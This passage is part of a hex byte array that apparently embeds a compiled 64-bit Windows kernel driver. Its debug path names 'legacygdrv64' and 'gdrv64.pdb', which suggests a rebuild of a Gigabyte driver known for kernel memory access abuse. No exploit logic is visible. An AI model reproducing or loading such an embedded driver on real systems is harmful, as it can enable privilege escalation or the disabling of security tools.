0x00, 0x00, 0x00, 0x00, 0x65, 0xEB, 0x20, 0x5A, + 0x00, 0x00, 0x00, 0x00, 0x0D, 0x00, 0x00, 0x00, 0x88, 0x01, 0x00, 0x00, + 0xC8, 0x42, 0x00, 0x00, 0xC8, 0x32, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0xF4, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x08, 0x50, 0x00, 0x40, + 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xF8, 0x40, 0x00, 0x40, + 0x01, 0x00, 0x00, 0x00, 0x00, 0x41, 0x00, 0x40, 0x01, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x52, 0x53, 0x44, 0x53, + 0x9F, 0x44, 0x71, 0x4D, 0x09, 0x1A, 0x30, 0x4A, 0xAA, 0xCC, 0x36, 0x6B, + 0x14, 0x01, 0x90, 0x11, 0x01, 0x00, 0x00, 0x00, 0x43, 0x3A, 0x5C, 0x55, + 0x73, 0x65, 0x72, 0x73, 0x5C, 0x67, 0x65, 0x6F, 0x72, 0x67, 0x65, 0x5C, + 0x64, 0x6F, 0x63, 0x75, 0x6D, 0x65, 0x6E, 0x74, 0x73, 0x5C, 0x76, 0x69, + 0x73, 0x75, 0x61, 0x6C, 0x20, 0x73, 0x74, 0x75, 0x64, 0x69, 0x6F, 0x20, + 0x32, 0x30, 0x31, 0x35, 0x5C, 0x50, 0x72, 0x6F, 0x6A, 0x65, 0x63, 0x74, + 0x73, 0x5C, 0x6C, 0x65, 0x67, 0x61, 0x63, 0x79, 0x67, 0x64, 0x72, 0x76, + 0x36, 0x34, 0x5C, 0x78, 0x36, 0x34, 0x5C, 0x52, 0x65, 0x6C, 0x65, 0x61, + 0x73, 0x65, 0x5C, 0x67, 0x64, 0x72, 0x76, 0x36, 0x34, 0x2E, 0x70, 0x64, + 0x62, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, + 0x50, 0x02, 0x00, 0x00, 0x2E, 0x74, 0x65, 0x78, 0x74, 0x00, 0x00, 0x00, + 0x50, 0x12, 0x00, 0x00, 0xD0, 0x1C, 0x00, 0x00, 0x2E, 0x74, 0x65, 0x78, + 0x74, 0x24, 0x6D, 0x6E, 0x00, 0x00, 0x00, 0x00, 0x20, 0x2F, 0x00, 0x00, + 0xE0, 0x00, 0x00, 0x00, 0x2E, 0x74, 0x65, 0x78, 0x74, 0x24, 0x6D, 0x6E, + 0x24, 0x30, 0x30, 0x00, 0x00, 0x30, 0x00, 0x00, 0x40, 0x04, 0x00, 0x00, + 0x2E, 0x74, 0x65, 0x78, 0x74, 0x24, 0x6D, 0x6E, 0x24, 0x32, 0x31, 0x00, + 0x40, 0x34, 0x00, 0x00, 0x4F, 0x06, 0x00, 0x00, 0x2E, 0x74, 0x65, 0x78, + 0x74, 0x24, 0x73, 0x00, 0x00, 0x40, 0x00, 0x00, 0xF8, 0x00, 0x00, 0x00, + 0x2E, 0x69, 0x64, 0x61, 0x74, 0x61, 0x24, 0x35, 0x00, 0x00, 0x00, 0x00, + 0xF8, 0x40, 0x00, 0x00, 0x28, 0x00, 0x00, 0x00, 0x2E, 0x30, 0x30, 0x63, + 0x66, 0x67, 0x00, 0x00, 0x20, 0x41, 0x00, 0x00, 0x34, 0x01, 0x00, 0x00, + 0x2E, 0x72, 0x64, 0x61, 0x74, 0x61, 0x00, 0x00, 0x54, 0x42, 0x00, 0x00, + 0xFC, 0x01, 0x00, 0x00, 0x2E, 0x72, 0x64, 0x61, 0x74, 0x61, 0x24, 0x7A, + 0x7A, 0x7A, 0x64, 0x62, 0x67, 0x00, 0x00, 0x00, 0x50, 0x44, 0x00, 0x00, + 0x50, 0x02, 0x00, 0x00, 0x2E, 0x78, 0x64, 0x61, 0x74, 0x61, 0x00, 0x00, + 0x00, 0x50, 0x00, 0x00, 0x20, 0x00, 0x00, 0x00, 0x2E, 0x64, 0x61, 0x74, + 0x61, 0x00, 0x00, 0x00, 0x20, 0x50, 0x00, 0x00, 0x34, 0x00, 0x00, 0x00, + 0x2E, 0x62, 0x73, 0x73, 0x00, 0x00, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, + 0xEC, 0x01, 0x00, 0x00, 0x2E, 0x70, 0x64, 0x61, 0x74, 0x61, 0x00, 0x00, + 0x00, 0x70, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x2E, 0x67, 0x66, 0x69, + 0x64, 0x73, 0x24, 0x79, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, + 0x90, 0x00, 0x00, 0x00, 0x49, 0x4E, 0x49, 0x54, 0x00, 0x00, 0x00, 0x00, + 0x90, 0x80, 0x00, 0x00, 0x28, 0x00, 0x00, 0x00, 0x2E, 0x69, 0x64, 0x61, + 0x74, 0x61, 0x24, 0x32, 0x00, 0x00, 0x00, 0x00, 0xB8, 0x80, 0x00, 0x00, + 0x18, 0x00, 0x00, 0x00, 0x2E, 0x69, 0x64, 0x61, 0x74, 0x61, 0x24, 0x33, + 0x00, 0x00, 0x00, 0x00, 0xD0, 0x80, 0x00, 0x00, 0xF8, 0x00, 0x00, 0x00, + 0x2E, 0x69, 0x64, 0x61, 0x74, 0x61, 0x24, 0x34, 0x00, 0x00, 0x00, 0x00, + 0xC8, 0x81, 0x00, 0x00, 0x84, 0x02, 0x00, 0x00, 0x2E, 0x69, 0x64, 0x61, + 0x74, 0x61, 0x24, 0x36, 0x00, 0x00, 0x00, 0x00, 0x00, 0x90, 0x00, 0x00, + 0x60, 0x00, 0x00, 0x00, 0x2E, 0x72, 0x73, 0x72, 0x63, 0x24, 0x30, 0x31, + 0x00, 0x00, 0x00, 0x00, 0x60, 0x90, 0x00, 0x00, 0xE8, 0x02, 0x00, 0x00, + 0x2E, 0x72, 0x73, 0x72, 0x63, 0x24, 0x30, 0x32, 0x00, 0x00, 0x00, 0x00, + 0x02, 0x0F, 0x08, 0x00, 0x02, 0x16, 0x00, 0x06, 0x0F, 0x64, 0x0F, 0x00, + 0x0F, 0x34, 0x0E, 0x00, 0x0F, 0xB2, 0x0B, 0x70, 0x02, 0x1D, 0x0E, 0x00, + 0x07, 0x06, 0x62, 0x16, 0x1D, 0x74, 0x0D, 0x00, 0x1D, 0x64, 0x0C, 0x00, + 0x1D, 0x54, 0x0B, 0x00, 0x1D, 0x34, 0x0A, 0x00, 0x1D, 0x52, 0x19, 0xF0, + 0x17, 0xE0, 0x15, 0xC0, 0x02, 0x10, 0x0A, 0x00, 0x08, 0x16, 0x00, 0x06, + 0x10, 0x34, 0x0B, 0x00, 0x10, 0x32, 0x0C, 0xF0, 0x0A, 0xE0, 0x08, 0x70, + 0x07, 0x60, 0x06, 0x50, 0x02, 0x12, 0x0A, 0x00, 0x05, 0x16, 0x00, 0x06, + 0x12, 0x54, 0x0B, 0x00, 0x12, 0x34, 0x09, 0x00, 0x12, 0x32, 0x0E, 0xE0, + 0x0C, 0x70, 0x0B, 0x60, 0x02, 0x0A, 0x06, 0x00, 0x02, 0x16, 0x00, 0x06, + 0x0A, 0x34, 0x08, 0x00, 0x0A, 0x52, 0x06, 0x70, 0x02, 0x0A, 0x06, 0x00, + 0x02, 0x16, 0x00, 0x06, 0x0A, 0x34, 0x06, 0x00, 0x0A, 0x32, 0x06, 0x70, + 0x02, 0x14, 0x0A, 0x00, 0x02, 0x16, 0x00, 0x06, 0x14, 0x64, 0x08, 0x00, + 0x14, 0x54, 0x07, 0x00, 0x14, 0x34, 0x06, 0x00, 0x14, 0x32, 0x10, 0x70, + 0x02, 0x1F, 0x0D, 0x00, 0x06, 0x16, 0x00, 0x06, 0x1F, 0x74, 0x21, 0x00, + 0x1F, 0x64, 0x20, 0x00, 0x1F, 0x34, 0x1E, 0x00, 0x1F, 0x01, 0x1A, 0x00, + 0x14, 0xF0, 0x12, 0xE0, 0x10, 0x50, 0x00, 0x00, 0x1A, 0x27, 0x0C, 0x00, + 0x09, 0x16, 0x00, 0x06, 0x19, 0x64, 0x15, 0x00, 0x19, 0x34, 0x14, 0x00, + 0x19, 0xB2, 0x12, 0xF0, 0x10, 0xE0, 0x0E, 0xC0, 0x0C, 0x70, 0x0B, 0x50, + 0x90, 0x2E, 0x00, 0x00, 0x58, 0x00, 0x00, 0x00, 0x1A, 0x23, 0x0A, 0x00, + 0x05, 0x16, 0x00, 0x06, 0x15, 0x64, 0x13, 0x00, 0x15, 0x34, 0x12, 0x00, + 0x15, 0xB2, 0x0E, 0xE0, 0x0C, 0x70, 0x0B, 0x50, 0x90, 0x2E, 0x00, 0x00, + 0x58, 0x00, 0x00, 0x00, 0x1A, 0x1D, 0x08, 0x00, 0x04, 0x16, 0x00, 0x06, + 0x0F, 0x34, 0x12, 0x00, 0x0F, 0xB2, 0x08, 0x70, 0x07, 0x60, 0x06, 0x50, + 0x90, 0x2E, 0x00, 0x00, 0x58, 0x00, 0x00, 0x00, 0x1A, 0x20, 0x08, 0x00, + 0x02, 0x16, 0x00, 0x06, 0x12, 0x74, 0x11, 0x00, 0x12, 0x34, 0x10, 0x00, + 0x12, 0xB2, 0x0B, 0x50, 0x90, 0x2E, 0x00, 0x00, 0x58, 0x00, 0x00, 0x00, + 0x1A, 0x21, 0x0A, 0x00, 0x08, 0x16, 0x00, 0x06, 0x13, 0x34, 0x14, 0x00, + 0x13, 0xB2, 0x0C, 0xF0, 0x0A, 0xE0, 0x08, 0x70, 0x07, 0x60, 0x06, 0x50, + 0x90, 0x2E, 0x00, 0x00, 0x58, 0x00, 0x00, 0x00, 0x1A, 0x21, 0x0A, 0x00, + 0x05, 0x16, 0x00, 0x06, 0x12, 0x54, 0x13, 0x00, 0x12, 0x34, 0x12, 0x00, + 0x12, 0xB2, 0x0E, 0xE0, 0x0C, 0x70, 0x0B, 0x60, 0x90, 0x2E, 0x00, 0x00, + 0x58, 0x00, 0x00, 0x00, 0x02, 0x04, 0x03, 0x00, 0x01, 0x16, 0x00, 0x06, + 0x04, 0x42, 0x00, 0x00, 0x02, 0x15, 0x0A, 0x00, 0x03, 0x16, 0x00, 0x06, + 0x15, 0x74, 0x08, 0x00, 0x15, 0x64, 0x07, 0x00, 0x15, 0x34, 0x06, 0x00, + 0x15, 0x32, 0x11, 0xE0, 0x02, 0x0F, 0x08, 0x00, 0x02, 0x16, 0x00, 0x06, + 0x0F, 0x64, 0x09, 0x00, 0x0F, 0x34, 0x08, 0x00, 0x0F, 0x52, 0x0B, 0x70, + 0x02, 0x06, 0x04, 0x00, 0x02, 0x16, 0x00, 0x06, 0x06, 0x32, 0x02, 0x30, + 0x02, 0x0F, 0x08, 0x00, 0x02, 0x16, 0x00, 0x06, 0x0F, 0x64, 0x07, 0x00, + 0x0F, 0x34, 0x06, 0x00, 0x0F, 0x32, 0x0B, 0x70, 0x02, 0x19, 0x0C, 0x00, + 0x03, 0x16, 0x00, 0x06, 0x19, 0x74, 0x09, 0x00, 0x19, 0x64, 0x08, 0x00, + 0x19, 0x54, 0x07, 0x00, 0x19, 0x34, 0x06, 0x00, 0x19, 0x32, 0x15, 0xE0, + 0x02, 0x0A, 0x06, 0x00, 0x06, 0x16, 0x00, 0x06, 0x0A, 0x34, 0x06, 0x00, + 0x0A, 0x32, 0x06, 0x70, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x04, 0x00, + 0x01, 0x06, 0x0A, 0x06, 0x05, 0x06, 0x00, 0x06, 0x02, 0x04, 0x01, 0x00, + 0x04, 0x62, 0x00, 0x00, 0x02, 0x02, 0x03, 0x00, 0x06, 0x16, 0x00, 0x06, + 0x02, 0x30, 0x00, 0x00, 0x02, 0x00, 0x04, 0x00, 0x01, 0x06, 0xE8, 0x26, + 0x48, 0x16, 0x00, 0x06, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x02, 0x00, + 0x01, 0x16, 0xAF, 0x06, 0x02, 0x00, 0x02, 0x00, 0x02, 0x16, 0x00, 0x06, + 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, + 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x32, 0xA2, 0xDF, 0x2D, 0x99, 0x2B, 0x00, 0x00, + 0xCD, 0x5D, 0x20, 0xD2, 0x66, 0xD4, 0xFF, 0xFF, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x50, 0x12, 0x00, 0x00, 0x37, 0x13, 0x00, 0x00, + 0x6C, 0x45, 0x00, 0x00, 0x38, 0x13, 0x00, 0x00, 0x0C, 0x14, 0x00, 0x00, + 0x50, 0x45, 0x00, 0x00, 0x0C, 0x14, 0x00, 0x00, 0xAC, 0x15, 0x00, 0x00, + 0x30, 0x45, 0x00, 0x00, 0xAC, 0x15, 0x00, 0x00, 0x22, 0x17, 0x00, 0x00, + 0x0C, 0x45, 0x00, 0x00, 0x24, 0x17, 0x00, 0x00, 0x86, 0x17, 0x00, 0x00, + 0x00, 0x46, 0x00, 0x00, 0x88, 0x17, 0x00, 0x00, 0xDB, 0x17, 0x00, 0x00, + 0x0C, 0x46, 0x00, 0x00, 0xDC, 0x17, 0x00, 0x00, 0x1D, 0x18, 0x00, 0x00, + 0xC8, 0x45, 0x00, 0x00, 0x20, 0x18, 0x00, 0x00, 0x9A, 0x18, 0x00, 0x00, + 0xD4, 0x45, 0x00, 0x00, 0x9C, 0x18, 0x00, 0x00, 0x7A, 0x19, 0x00, 0x00, + 0x50, 0x45, 0x00, 0x00, 0x7C, 0x19, 0x00, 0x00, 0x20, 0x1A, 0x00, 0x00, + 0x50, 0x44, 0x00, 0x00, 0x20, 0x1A, 0x00, 0x00, 0x1A, 0x1F, 0x00, 0x00, + 0x64, 0x44, 0x00, 0x00, 0x1C, 0x1F, 0x00, 0x00, 0x85, 0x1F, 0x00, 0x00, + 0xD4, 0x44, 0x00, 0x00, 0x88, 0x1F, 0x00, 0x00, 0x4A, 0x20, 0x00, 0x00, + 0x84, 0x44, 0x00, 0x00, 0x4C, 0x20, 0x00, 0x00, 0xF7, 0x20, 0x00, 0x00, + 0xD4, 0x44, 0x00, 0x00, 0xF8, 0x20, 0x00, 0x00, 0xC7, 0x21, 0x00, 0x00, + 0xD4, 0x44, 0x00, 0x00, 0xC8, 0x21, 0x00, 0x00, 0xC1, 0x22, 0x00, 0x00, + 0x9C, 0x44, 0x00, 0x00, 0xC4, 0x22, 0x00, 0x00, 0x4A, 0x23, 0x00, 0x00, + 0xB4, 0x44, 0x00, 0x00, 0x4C, 0x23, 0x00, 0x00, 0xDE, 0x23, 0x00, 0x00, + 0xC4, 0x44, 0x00, 0x00, 0xE0, 0x23, 0x00, 0x00, 0xCF, 0x24, 0x00, 0x00, + 0xEC, 0x45, 0x00, 0x00, 0xD0, 0x24, 0x00, 0x00, 0xF0, 0x26, 0x00, 0x00, + 0x30, 0x45, 0x00, 0x00, 0xF0, 0x26, 0x00, 0x00, 0xD7, 0x28, 0x00, 0x00, + 0xEC, 0x44, 0x00, 0x00, 0xD8, 0x28, 0x00, 0x00, 0x3B, 0x29, 0x00, 0x00, + 0x00, 0x46, 0x00, 0x00, 0x3C, 0x29, 0x00, 0x00, 0x7C, 0x29, 0x00, 0x00, + 0x00, 0x46, 0x00, 0x00, 0x7C, 0x29, 0x00, 0x00, 0xB1, 0x29, 0x00, 0x00, + 0xC4, 0x44, 0x00, 0x00, 0xB4, 0x29, 0x00, 0x00, 0x14, 0x2A, 0x00, 0x00, + 0x0C, 0x46, 0x00, 0x00, 0x14, 0x2A, 0x00, 0x00, 0x49, 0x2B, 0x00, 0x00, + 0x88, 0x45, 0x00, 0x00, 0x4C, 0x2B, 0x00, 0x00, 0x1A, 0x2C, 0x00, 0x00, + 0xA8, 0x45, 0x00, 0x00, 0x68, 0x2C, 0x00, 0x00, 0x0F, 0x2D, 0x00, 0x00, + 0xD4, 0x44, 0x00, 0x00, 0x64, 0x2D, 0x00, 0x00, 0x30, 0x2E, 0x00, 0x00, + 0x20, 0x46, 0x00, 0x00, 0x40, 0x2E, 0x00, 0x00, 0x5F, 0x2E, 0x00, 0x00, + 0x50, 0x46, 0x00, 0x00, 0x60, 0x2E, 0x00, 0x00, 0x87, 0x2E, 0x00, 0x00, + 0x5C, 0x46, 0x00, 0x00, 0x90, 0x2E, 0x00, 0x00, 0xAD, 0x2E, 0x00, 0x00, + 0xC8, 0x45, 0x00, 0x00, 0xB0, 0x2E, 0x00, 0x00, 0x0A, 0x2F, 0x00, 0x00, + 0x64, 0x46, 0x00, 0x00, 0x30, 0x2F, 0x00, 0x00, 0x32, 0x2F, 0x00, 0x00, + 0x88, 0x46, 0x00, 0x00, 0x50, 0x2F, 0x00, 0x00, 0x78, 0x2F, 0x00, 0x00, + 0x90, 0x46, 0x00, 0x00, 0x80, 0x2F, 0x00, 0x00, 0xC6, 0x2F, 0x00, 0x00, + 0x94, 0x46, 0x00, 0x00, 0xD0, 0x2F, 0x00, 0x00, 0xD6, 0x2F, 0x00, 0x00, + 0x98, 0x46, 0x00, 0x00, 0xE0, 0x2F, 0x00, 0x00, 0xE1, 0x2F, 0x00, 0x00, + 0x9C, 0x46, 0x00, 0x00, 0x00, 0x30, 0x00, 0x00, 0x39, 0x33, 0x00, 0x00, + 0x70, 0x46, 0x00, 0x00, 0x40, 0x33, 0x00, 0x00, 0x3A, 0x34, 0x00, 0x00, + 0x80, 0x46, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x2A, 0x80, 0x00, 0x00, + 0x3C, 0x46, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x0D, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 